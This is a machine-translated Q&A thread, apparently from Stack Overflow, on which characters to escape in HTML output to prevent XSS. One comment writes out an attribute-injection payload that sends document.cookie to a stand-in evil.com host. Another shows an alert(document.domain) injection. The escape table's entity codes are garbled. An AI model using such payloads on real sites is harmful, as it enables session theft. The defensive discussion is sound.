Какие символы необходимы и достаточны для экранирования пользовательского контента перед выводом? (другими словами: какие символы веб-разработчики должны избегать при выводе текста, который ранее исходил из ненадежного анонимного источника?)
Минимальные требования для экранирования вывода HTML
comment
Похоже, что разные люди понимали вопрос по-разному. Поясню: я спрашиваю об этом из соображений безопасности.
- person Tom   schedule 22.06.2010
Ответы (2)
При отображении на страницу вы должны кодировать
- '&' (амперсанд) становится '
&
'- '"' (двойная кавычка) становится '
"
'- ''' (одинарная кавычка) становится '
'
'- '‹' (меньше чем) становится '
<
'- '>' (больше) становится '
>
'
Из htmlspecialchars()
документов PHP.
Обратите внимание, что контекст также имеет значение.
Вам также необходимо принять во внимание набор символов.
person
alex
schedule
22.06.2010
В чем причина и/или необходимость избегать кавычек?
- person ChrisW; 22.06.2010
В случае, если текст входит в тег ‹input›, где он помещается в атрибут value, заключенный в кавычки.
- person AlexanderMP; 22.06.2010
@ChrisW Я повторяю ваше имя здесь
<input name="name" value="<?php echo $name; ?>">
. А что, если я введу свое имя как alex" onfocus="window.location = 'http://www.evil.com/steal.php?cookie=' + encodeURI(document.cookie)
?
- person alex; 22.06.2010
Я также рекомендую избегать всего, что не является [a-zA-Z0-9]. Браузеры смогут отображать правильно, и вам не потребуется слишком много усилий для его реализации.
- person Pedro Laguna; 22.06.2010
@Pedro Laguna - Если вы имеете в виду буквы с акцентом и т. Д., Почему бы не использовать его как UTF?
- person ChrisW; 22.06.2010
@ChrisW нет, я имею в виду: ; , . / \ + = _ - # ! и т. д. Никогда не знаешь, что найдут плохие парни, чтобы выполнить Javascript;)
- person Pedro Laguna; 22.06.2010
@Pedro Вы имеете в виду, что никогда не знаете, как IE можно обмануть для выполнения JavaScript ... Я имею в виду, вы видели, как был создан червь Samy? namb.la/popular/tech.html
- person alex; 22.06.2010
Этот ответ не то, что я хотел и не ожидал, но он самый проницательный, потому что он заставил меня понять, что вопрос неполный. Спасибо, @alex
- person Tom; 22.06.2010
@alex да, я читаю (и понимаю) код Samy и трюк с java\nsript. Но и в других браузерах можно найти другие приемы: sla.ckers .org/forum/read.php?24,33938,page=1
- person Pedro Laguna; 22.06.2010
@Pedo Я знаю, я просто пошутил над IE :D
- person alex; 22.06.2010
Символов больше, все зависит от того, где на странице отображается ввод. Например, если он отображается внутри тегов JavaScript (‹script›‹/script›) или в CSS, вам придется беспокоиться о других символах. Проверьте эту ссылку (почему я не могу просто кодировать ненадежные данные в HTML-сущности?): owasp.org/index.php/
- person flpmor; 22.06.2010
@Pedro Вау, я протестировал некоторые из них в своей консоли, и они работают с Firefox 3.6.3. Страшные вещи... спасибо за ссылку.
- person alex; 22.06.2010
@ Педро, я понимаю, что вы хотите быть осторожным, но экранирование всего за пределами [a-zA-Z0-9] оставит некоторые языки (японский, арабский и т. д.) со ВСЕМИ экранированными символами ... Это безумие, имхо. Существует 100 000 кодовых точек Unicode. Вы бы избежали ВСЕХ из них, кроме 62 из них?? Вместо этого я думаю, что вы могли бы избежать, возможно, некоторых специальных символов, таких как косая черта, если вы беспокоитесь. Но экранирование всех символов во всех незападных сценариях кажется излишним. Много.
- person Stijn de Witt; 16.08.2020
Я думаю, что экранирования символов < > & " '
должно быть достаточно для любого сценария.
person
AlexanderMP
schedule
22.06.2010
Этих персонажей недостаточно в некоторых сценариях. Представьте себе следующий код: ‹input type=text value=asdf\ onclick=alert(document.domain); a=\› Просто убрать двойные кавычки вам не поможет :)
- person Pedro Laguna; 24.06.2010
ах, да, конечно, я забыл обратную косую черту. Вот об этом тогда :).
- person AlexanderMP; 24.06.2010
@PedroLaguna, вы почти меня поняли: если вы избежите двойных кавычек, ваш пример отобразит ‹input type=text value=asdf\ onclick=alert(document.domain); a=\› что безвредно.
- person ; 26.10.2017